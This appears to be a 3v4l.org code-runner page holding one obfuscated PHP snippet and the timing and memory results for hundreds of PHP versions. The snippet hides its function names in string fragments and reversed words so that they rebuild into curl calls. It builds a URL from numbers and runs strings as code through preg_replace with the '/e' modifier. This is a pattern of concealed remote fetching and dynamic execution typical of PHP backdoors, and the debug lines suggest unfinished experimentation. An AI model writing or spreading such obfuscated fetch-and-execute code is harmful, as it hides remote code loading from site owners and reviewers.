3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vars = array( '28', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg_replace', 'preg_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23, 'array_push' ); //chr[0] = $vars[2][0] = $vars[6][0] = 'c'; //$vars[15][0] = $vars[15][1]; //$vars[15][1] = $vars[11][5]; //$vars[5][0] = $vars[5][2] = $vars[15][3] = $vars[15][8] = $vars[15][12] = preg_replace[2] = $vars[14][2] = "e"; //$vars[16] = ($vars[17] = "/" . $vars[17]) ? ($vars[17]) : 0; //$vars[16][4] = $vars[16][5] = '.'; //$vars[16].= $vars[17]; //$vars[16][11] = ''; //implode = $vars[0]; function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", $vars[14]( "/[\D]+/", preg_replace( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],CURLOPT_TIMEOUT , 1<<5 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],CURLOPT_RETURNTRANSFER , 2>>1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71].$vars[29])$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]($vars[29],$vars[63])$vars[53]($vars[78]()' ); //$vars[18] = $vars[0] = "array" . "_"; //$vars[0].= 'array_push'; //$vars[18].= 'array_map'; //$vars[0] = array_push($vars, 'array_push') - 1; $i = $q = 0; //0 - curl_init //Step 0 - while ($i < 5) { ($i != 2) ? ($vars[$vars[0] - $q]($vars, "curl_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; if ($i == 3) { var_dump($vars); die(); } preg_replace("/mix../mixe", ${$vars[16][3]}[0 + $i] . $x[5], $vars[17]); $i++;; } echo ($zvars);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00418.52
8.3.50.0100.01022.05
8.3.40.0080.00818.89
8.3.30.0060.00919.13
8.3.20.0050.00320.21
8.3.10.0080.00023.61
8.3.00.0080.00019.02
8.2.180.0140.00316.88
8.2.170.0100.01022.96
8.2.160.0070.00722.10
8.2.150.0080.00024.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0040.00420.97
8.2.110.0030.00622.20
8.2.100.0090.00317.97
8.2.90.0080.00017.75
8.2.80.0050.00318.92
8.2.70.0060.00318.16
8.2.60.0070.00318.09
8.2.50.0040.00418.10
8.2.40.0070.00718.75
8.2.30.0000.00819.26
8.2.20.0080.00017.71
8.2.10.0000.00718.15
8.2.00.0040.00417.81
8.1.280.0150.00025.92
8.1.270.0060.00318.83
8.1.260.0070.00026.35
8.1.250.0000.00828.09
8.1.240.0090.00023.83
8.1.230.0120.00021.04
8.1.220.0030.00517.77
8.1.210.0050.00318.77
8.1.200.0100.00317.13
8.1.190.0040.00417.23
8.1.180.0040.00418.84
8.1.170.0030.00618.57
8.1.160.0040.00418.88
8.1.150.0040.00418.83
8.1.140.0000.00717.41
8.1.130.0030.00317.72
8.1.120.0000.00717.34
8.1.110.0020.00517.51
8.1.100.0030.00317.35
8.1.90.0040.00417.49
8.1.80.0110.00017.37
8.1.70.0000.00717.44
8.1.60.0000.00817.50
8.1.50.0040.00417.54
8.1.40.0000.00717.52
8.1.30.0030.00517.54
8.1.20.0080.00017.70
8.1.10.0040.00417.56
8.1.00.0030.00517.46
8.0.300.0070.00018.77
8.0.290.0040.00416.75
8.0.280.0000.00718.46
8.0.270.0000.00717.28
8.0.260.0000.00817.26
8.0.250.0040.00416.95
8.0.240.0000.00617.06
8.0.230.0040.00416.98
8.0.220.0050.00216.97
8.0.210.0050.00317.00
8.0.200.0030.00317.04
8.0.190.0030.00617.10
8.0.180.0040.00416.87
8.0.170.0040.00416.93
8.0.160.0000.00717.06
8.0.150.0040.00416.93
8.0.140.0040.00416.95
8.0.130.0030.00313.43
8.0.120.0040.00416.96
8.0.110.0080.00016.96
8.0.100.0000.00717.02
8.0.90.0050.00316.99
8.0.80.0060.01217.00
8.0.70.0070.00016.98
8.0.60.0040.00416.88
8.0.50.0000.00717.04
8.0.30.0140.01517.00
8.0.20.0060.01617.40
8.0.10.0030.00517.04
8.0.00.0080.01116.77
7.4.330.0030.00315.03
7.4.320.0030.00316.54
7.4.300.0060.00016.54
7.4.290.0030.00316.63
7.4.280.0070.00016.61
7.4.270.0000.00716.48
7.4.260.0030.00316.52
7.4.250.0040.00416.54
7.4.240.0050.00216.62
7.4.230.0040.00216.28
7.4.220.0120.00616.68
7.4.210.0030.01116.71
7.4.200.0040.00416.49
7.4.160.0100.00616.69
7.4.150.0110.01117.40
7.4.140.0050.01517.86
7.4.130.0110.01016.46
7.4.120.0150.00216.58
7.4.110.0070.01316.53
7.4.100.0040.01416.61
7.4.90.0070.01116.61
7.4.80.0090.01619.39
7.4.70.0110.01216.75
7.4.60.0060.00916.61
7.4.50.0060.00316.59
7.4.40.0000.01716.74
7.4.30.0170.00616.48
7.4.00.0060.00815.21
7.3.330.0030.00313.45
7.3.320.0030.00313.41
7.3.310.0030.00316.34
7.3.300.0060.00016.31
7.3.290.0060.00816.40
7.3.280.0090.01016.42
7.3.270.0100.01317.40
7.3.260.0100.01016.35
7.3.250.0110.00616.45
7.3.240.0030.01416.39
7.3.230.0080.00816.39
7.3.210.0160.00016.59
7.3.200.0030.01519.39
7.3.190.0090.01216.46
7.3.180.0090.00616.63
7.3.170.0110.00716.39
7.3.160.0060.01216.39
7.3.120.0150.00314.78
7.3.110.0100.00715.15
7.3.100.0060.01214.90
7.3.90.0040.01114.93
7.3.80.0070.01014.77
7.3.70.0000.01814.92
7.3.60.0000.01414.97
7.3.50.0050.00514.77
7.3.40.0000.01514.68
7.3.30.0000.01214.97
7.3.20.0090.00616.76
7.3.10.0040.00716.73
7.3.00.0090.00616.84
7.2.330.0110.00717.09
7.2.320.0140.00616.89
7.2.310.0070.01016.76
7.2.300.0060.01216.83
7.2.290.0100.01317.04
7.2.250.0100.01015.33
7.2.240.0070.01415.38
7.2.230.0070.01015.31
7.2.220.0060.00615.30
7.2.210.0000.01815.45
7.2.200.0030.01415.55
7.2.190.0070.00715.47
7.2.180.0000.01615.27
7.2.170.0000.01015.17
7.2.60.0070.00717.05
7.2.50.0100.00317.13
7.1.330.0100.00616.08
7.1.320.0140.00316.26
7.1.310.0040.01116.04
7.1.300.0000.01516.18
7.1.290.0000.01016.05
7.1.280.0070.00716.04
7.1.270.0130.00015.94
7.1.260.0030.00715.89
7.1.200.0030.00616.17
7.1.70.0000.00917.43
7.1.60.0130.01319.22
7.1.50.0110.01117.14
7.1.00.0070.07322.46
7.0.200.0130.00317.02
7.0.140.0070.06022.13
7.0.60.0000.09319.91
7.0.50.0030.05317.93
7.0.40.0130.08320.25
7.0.30.0270.03320.22
7.0.20.0230.04720.13
7.0.10.0100.08020.07
7.0.00.0070.08020.16
5.6.280.0070.07721.16
5.6.210.0200.05320.48
5.6.200.0100.07318.14
5.6.190.0100.03720.45
5.6.180.0400.07020.52
5.6.170.0300.06720.47
5.6.160.0030.05720.54
5.6.150.0000.08718.24
5.6.140.0000.05318.14
5.6.130.0070.08318.18
5.6.120.0130.04321.02
5.6.110.0200.06321.06
5.6.100.0070.07721.12
5.6.90.0030.04321.00
5.6.80.0030.08320.53
5.5.350.0300.07020.44
5.5.340.0030.03718.05
5.5.330.0130.07320.35
5.5.320.0470.05020.32
5.5.310.0370.07020.51
5.5.300.0170.02718.08
5.5.290.0170.07718.08
5.5.280.0070.07320.84
5.5.270.0100.08020.73
5.5.260.0100.06320.88
5.5.250.0070.07020.46
5.5.240.0130.06720.23
5.4.450.0800.05719.62
5.4.440.0670.06319.21
5.4.430.0730.05719.43
5.4.420.0870.06019.51
5.4.410.0700.06019.54
5.4.400.0170.04719.19
5.4.390.0830.05319.12
5.4.380.0270.05318.75
5.4.370.0300.05018.79
5.4.360.0300.05318.73
5.4.350.0330.05018.66
5.4.340.0200.06718.66
5.4.320.0270.05318.64
5.4.310.0300.05318.75
5.4.300.0270.05318.56
5.4.290.0300.05018.75
5.4.280.0330.04318.67
5.4.270.0300.05018.61
5.4.260.0230.05318.57
5.4.250.0270.05718.48
5.4.240.0300.05318.74
5.4.230.0400.04018.72
5.4.220.0300.05018.60
5.4.210.0330.05718.55
5.4.200.0270.05016.64
5.4.190.0170.06018.68
5.4.180.0230.05018.47
5.4.170.0300.04718.47
5.4.160.0300.05018.48
5.4.150.0370.04718.77
5.4.140.0330.05016.48
5.4.130.0370.04316.46
5.4.120.0200.05016.29
5.4.110.0200.05016.36
5.4.100.0230.05716.27
5.4.90.0270.05016.27
5.4.80.0230.05016.23
5.4.70.0370.05016.29
5.4.60.0330.04016.34
5.4.50.0270.04316.18
5.4.40.0170.05716.28
5.4.30.0200.05016.28
5.4.20.0170.05716.21
5.4.10.0330.07016.31
5.4.00.0200.05715.85
5.3.290.0230.06714.75
5.3.280.0330.04314.79
5.3.270.0470.05314.84
5.3.260.0330.06714.81
5.3.250.0170.06314.68
5.3.240.0330.07014.76
5.3.230.0230.05014.75
5.3.220.0330.04314.72
5.3.210.0200.05714.88
5.3.200.0230.05314.70
5.3.190.0270.05314.88
5.3.180.0300.05014.67
5.3.170.0200.06014.69
5.3.160.0130.07014.57
5.3.150.0170.06014.64
5.3.140.0300.04714.60
5.3.130.0230.05714.61
5.3.120.0270.05314.59
5.3.110.0270.04714.63
5.3.100.0300.04314.22
5.3.90.0300.04314.22
5.3.80.0230.05314.17
5.3.70.0300.05014.13
5.3.60.0200.05714.19
5.3.50.0230.05014.18
5.3.40.0430.04313.99
5.3.30.0330.05714.04
5.3.20.0200.05013.84
5.3.10.0330.06013.86
5.3.00.0370.06013.96
5.2.170.0200.04011.32
5.2.160.0230.04311.28
5.2.150.0230.04311.21
5.2.140.0170.05011.23
5.2.130.0230.04011.34
5.2.120.0330.03011.11
5.2.110.0170.04311.13
5.2.100.0170.04311.43
5.2.90.0200.04011.11
5.2.80.0300.03711.23
5.2.70.0170.04711.21
5.2.60.0200.04311.18
5.2.50.0130.05311.25
5.2.40.0270.04311.04
5.2.30.0100.06311.13
5.2.20.0230.05011.16
5.2.10.0230.04710.94
5.2.00.0130.04310.87
5.1.60.0200.03310.10
5.1.50.0100.04310.07
5.1.40.0200.03010.21
5.1.30.0170.04710.48
5.1.20.0330.04010.56
5.1.10.0200.03310.20
5.1.00.0230.04710.23
5.0.50.0100.0278.72
5.0.40.0200.0308.63
5.0.30.0170.0538.34
5.0.20.0070.0308.42
5.0.10.0170.0238.23
5.0.00.0130.0478.22
4.4.90.0030.0276.54
4.4.80.0130.0206.54
4.4.70.0100.0206.54
4.4.60.0100.0236.54
4.4.50.0030.0276.54
4.4.40.0070.0376.54
4.4.30.0070.0306.54
4.4.20.0070.0236.54
4.4.10.0100.0206.54
4.4.00.0170.0376.54
4.3.110.0100.0306.54
4.3.100.0070.0236.54
4.3.90.0130.0176.54
4.3.80.0100.0336.54
4.3.70.0070.0276.54
4.3.60.0100.0206.54
4.3.50.0130.0206.54
4.3.40.0100.0336.54
4.3.30.0030.0236.54
4.3.20.0000.0276.54
4.3.10.0030.0236.54
4.3.00.0230.0207.22

preferences:
42.94 ms | 401 KiB | 5 Q